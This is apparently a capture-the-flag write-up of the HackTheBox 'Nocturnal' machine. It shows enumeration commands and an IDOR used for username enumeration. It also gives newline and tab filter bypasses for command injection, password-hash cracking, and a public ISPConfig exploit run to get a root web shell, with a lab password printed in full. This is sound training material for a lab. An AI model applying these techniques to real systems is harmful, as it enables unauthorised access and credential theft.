Nocturnal Writeup (HackTheBox Easy Machine)
Overview
Nocturnal is an easy Linux machine from HackTheBox. This box is great for beginners, because it lets you exploit some basic web app vulnerabilities, preparing you for the real world ethical hacking.
We start with discovering an IDOR which lets us enumerate usernames on the website. We find file with a password for other user, who has access to the admin panel. Next, we find command injection in backup function, which leads to dumping internal MySQL database.
Once inside, we discover an internal service. To access it, we use previously found credentials. After that, we find code execution exploit on the internet and use it to get the root shell.
Nmap scan
Starting with Nmap scan.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -A 10.10.11.64 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-16 10:15 EDT
Nmap scan report for 10.10.11.64
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 23/tcp)
HOP RTT ADDRESS
1 30.94 ms 10.10.14.1
2 31.01 ms 10.10.11.64
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.16 seconds
The Nmap scan showed 2 open ports. Port 22 for SSH and port 80 for Nginx HTTP server. Don’t forget to add “nocturnal.htb” to your “/etc/hosts” file. As usual, we gonna start with HTTP server.
Web enumeration
The website presented itself as a storage for our files, where we can upload files and view them. There were register and login page as well. Wappalyzer detected Nginx and PHP in use.

I created an account and logged in. I was greeted with file upload prompt.

I ran Gobuster just to see what directories are present here. I got couple interesting results like “/uploads”, where are uploaded files probably stored, and “admin.php”, which redirects me to login.
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://nocturnal.htb" -w /usr/share/wordlists/dirb/common.txt -t 64 -r -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://nocturnal.htb
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin.php (Status: 200) [Size: 644]
/backups (Status: 403) [Size: 162]
/dashboard.php (Status: 200) [Size: 644]
/index.php (Status: 200) [Size: 1524]
/login.php (Status: 200) [Size: 644]
/logout.php (Status: 200) [Size: 644]
/register.php (Status: 200) [Size: 649]
/uploads (Status: 403) [Size: 162]
/view.php (Status: 200) [Size: 644]
Progress: 9228 / 9230 (99.98%)
Since we are dealing with Nginx web server, I tried to upload a PHP file with simple code (prints “HELLO THERE!”) to test if we can get RCE. As expected, PHP files are blocked.


It looked like there’s some whitelist of allowed file extensions. I booted Burp Suite and played with the file upload for some time, trying different file upload bypass techniques. In the end, I wasn’t able to successfully upload and execute the PHP script.
![]() |
some of my attempts to bypass file upload restrictions |
User enumeration via IDOR
During the process, I noticed that there’s a functionality to view and download the files. When we want to download some file, we will be redirected to “view.php” page, which takes username and filename as URL parameters to serve you the correct file.

The file is then served to you in HTML form. Content of your file is at the very bottom.

To test if I can download other user’s files, I created second account called “robin”. I uploaded “robin’s file.docx” and tried to access it from my first account. And it was a success!
![]() |
content of other user’s file showed in the response, confirming IDOR |
This is certainly a great finding, but how can we abuse it? I tried more things, like requesting a file that doesn’t exist. Surprisingly, I got the list of all robin’s files instead.

This is crazy! I can even enumerate all the registered users on the website and see all their files. If the user doesn’t exist, it throws an error. If the user exists, it lists his files.
![]() |
disclosing that user is not registered when requesting file of non-existing user |
![]() |
listing all user’s files when requesting non-existing file |
To perform this username enumeration, I used FFuF with SecLists xato wordlist and filter that ignores responses with certain size (responses with “User not found.” message). After just couple seconds, I got back several usernames, ones I have not seen yet like “amanda” and “tobias”
┌──(kali㉿kali)-[~]
└─$ ffuf -u "http://nocturnal.htb/view.php?username=FUZZ&file=text1.docx" -w /usr/share/wordlists/SecLists-master/Usernames/xato-net-10-million-usernames.txt -H "Cookie: PHPSESSID=449qo5f27f3c70ro1hkigd1t2r" -fs 2985
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=text1.docx
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists-master/Usernames/xato-net-10-million-usernames.txt
:: Header : Cookie: PHPSESSID=449qo5f27f3c70ro1hkigd1t2r
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 2985
________________________________________________
admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 224ms]
amanda [Status: 200, Size: 3185, Words: 1176, Lines: 129, Duration: 79ms]
robin [Status: 200, Size: 3217, Words: 1178, Lines: 129, Duration: 61ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 42ms]
I used the IDOR to check these users’ files. User “amanda” had one file saved, so I downloaded it.

Accessing admin panel & exploiting command injection
I downloaded “privacy.odt”, which is “OpenDocument Text” ZIP container and includes several XML files plus other resources. I looked inside and found an interesting “content.xml”.

Inside “content.xml”, there was a message from Nocturnal Team to Amanda, mentioning her default password. Hopefully, she didn’t change it yet.

Firstly, I tried to log into SSH with this password. Unfortunately, it looks like she changed it.
┌──(kali㉿kali)-[~]
└─$ ssh amanda@nocturnal.htb
The authenticity of host 'nocturnal.htb (10.10.11.64)' can't be established.
ED25519 key fingerprint is SHA256:rpVMGW27qcXKI/SxVXhvpF6Qi8BorsH7RNh1jzi8VYc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'nocturnal.htb' (ED25519) to the list of known hosts.
amanda@nocturnal.htb's password:
Permission denied, please try again.
So I can’t use it to log into SSH. Maybe I can use it to log into the Nocturnal website as “amanda”. And that was a success! Even more, “amanda” has access to the admin panel.
![]() |
user “amanda” has access to the admin panel |
The admin panel allowed me to view the PHP source code of all pages on the website. I could create a backup of the entire file system as well.
![]() |
Nocturnal’s admin panel |
Some pages had hardcoded database path to “nocturnal_database.db”. If I could dump this database, I could get access to some credentials.

I tried to make a backup to see the functionality in process. My first instinct was to make the website somehow backup the database too or to get some sort of command injection.

I intercepted and inspected the backup request in Burp Suite as well. It was a POST request with 2 parameters “password” (for the ZIP archive) and “backup” (empty parameter).

Maybe I should check the PHP source code to see if there are any vulnerabilities. So I opened “admin.php” and scrolled to the bottom where the backup function is.
![]() |
highlighted is the command, which runs on the machine when backup is requested |
If you look carefully, you can realize that “password” parameter is being sanitized by custom function “cleanEntry”, not by built-in one. We can look into this function as well.
![]() |
function that poorly sanitizes user input |
Manually blacklisting characters like this can be very dangerous. This may look safe, but when it comes to control characters (like %00 — null character), there’s no protection against using them. Looking back at the “zip” command being ran, I could be able to escape it and ran arbitrary commands as well. As I said, the “cleanEntry” function does a good job filtering classic ASCII characters like ‘;’ or ‘$’.
So I tried using so called control characters. The one that worked for me was %0A, which is a line feed character, which basically makes a new line. At first, I used command “id”. Seeing the error message, I successfully broke out of the command.

Error message was saying that I have extra operand ‘.’ in my command. This dot can be spotted in the “zip” command too, which created the problem.

I remembered that I know the path to Nocturnal database, as it is exposed in the PHP source code. We need to realize that this extra dot is actually in our favor, because we can use command like “cp” to copy the database into current folder (abusing the dot) and perform the backup.
Problem is, the whitespace is also blacklisted. Luckily, we can use %09 instead (horizontal tab).

After that, I simply used “ls” command, which also happens to use the dot.

All left to do was to perform a backup and inspect the database.
Dumping SQLite database & getting user flag
After extracting and opening the database in SQLite browser, we get the password hashes.

Some of them from the machine, some of them from other hackers. I saved the hashes and tried to crack them with John the Ripper. I managed to crack Tobias’ password.
┌──(kali㉿kali)-[~]
└─$ john hash.txt --wordlist=Downloads/rockyou.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
slowmoXXXXXXXXXXXXXXXX (?)
1g 0:00:00:00 DONE (2025-04-18 10:19) 2.173g/s 31181Kp/s 31181Kc/s 70391KC/s filimani..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Now I could SSH into the machine as user “tobias”. User flag was waiting in his home directory.
Exploiting internal service & getting root flag
As usual, I went down my usual privilege escalation checklist, checking sudo permissions, SUID binaries, kernel and sudo versions, capabilities, cronjobs, environment variables and so on. You can use privilege escalation tool Linpeas too, if you like to use automated tools.
For HackTheBox challenges, it’s very common to have some internal services running, which are only accessible from the inside. You can list these services with “netstat -tlnp”.
tobias@nocturnal:~$ netstat -tlnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
We can recognize some of them, like those on ports 80 (HTTP), 22 (SSH), 53 (DNS), 25 (SMTP) or 3306 (MySQL). But then there are also 2 unknown ones, running on ports 33060 and 8080.
If we want to access these services, we have to forward them to our machine via SSH. We can re-connect to the SSH, while binding these internal services to our own ports.
┌──(kali㉿kali)-[~]
└─$ ssh tobias@nocturnal.htb -L 8080:localhost:8080 -L 33060:localhost:33060
tobias@nocturnal.htb's password:
Port 33060 is not interesting. But port 8080 has a ISPconfig login page.
ISPConfig is an open-source hosting control panel for Linux, designed to manage web servers through a web-based interface. (ChatGPT)

We need credentials to get in, most likely for user “admin”. However, after we re-try passwords we discovered earlier, we find out that Admin’s password is actually Tobias’ password.

If we look into the source code, we can pick some hints suggesting that the version is “3.2”.
![]() |
finding potential version of ISPconfig in the website’s source code |
We can google “ISPconfig 3.2 exploit” and find Github repository with an authenticated PHP code execution exploit: https://github.com/ajdumanhug/CVE-2023-46818.

I downloaded the exploit and ran it with proper username and password. And I got the root shell.
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2023-46818.py http://localhost:8080 admin slowmotionapocalypse
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Login successful!
[+] Fetching CSRF tokens...
[+] CSRF ID: language_edit_29aa217989ef7d60d06a3ad0
[+] CSRF Key: 8abd1309bb839b825cd108ea29cebba69197dd63
[+] Injecting shell payload...
[+] Shell written to: http://localhost:8080/admin/sh.php
[+] Launching shell...
ispconfig-shell# whoami
root
ispconfig-shell# cd /root
ispconfig-shell# pwd
/usr/local/ispconfig/interface/web/admin
ispconfig-shell#
I don’t know why, but I couldn’t change directories at all with this shell. So if you have similar problem like I had, just use “cat” to get the root flag.
Summary
Nocturnal is an easy machine from HackTheBox. This box is mostly about web application vulnerabilities, which makes it a great challenge for beginners who want to persue a career in cybersecurity as ethical hackers, pentesters or bug bounty hunters. It starts with discovering a website, which serves as online file storage. We find our first vulnerability known as IDOR (Insecure Direct Object Reference), which allows us to enumerate or fuzz for other usernames logged into the website, for example with FFuF. We get access to other users’ files. We find one file which contains credentials for an admin user, who has access to the admin panel on the website. After that, we find a command injection bug in the backup feature. We abuse this by dumping the internal MySQL database. Once we get access via SSH, we discover another internal service “ISPconfig” running, protected by login page. We re-use the password we found and get access to the dashboard. After small research, we discover that there’s RCE exploit for “ISPconfig”, granting us the root shell. I enjoyed this machine a lot. Probably my favourite part was the web application one, where we had to exploit IDOR and command injection. Recommending to anybody who is interested in web security and who wants to earn some money doing bug bounty hunting.
Comments
Post a Comment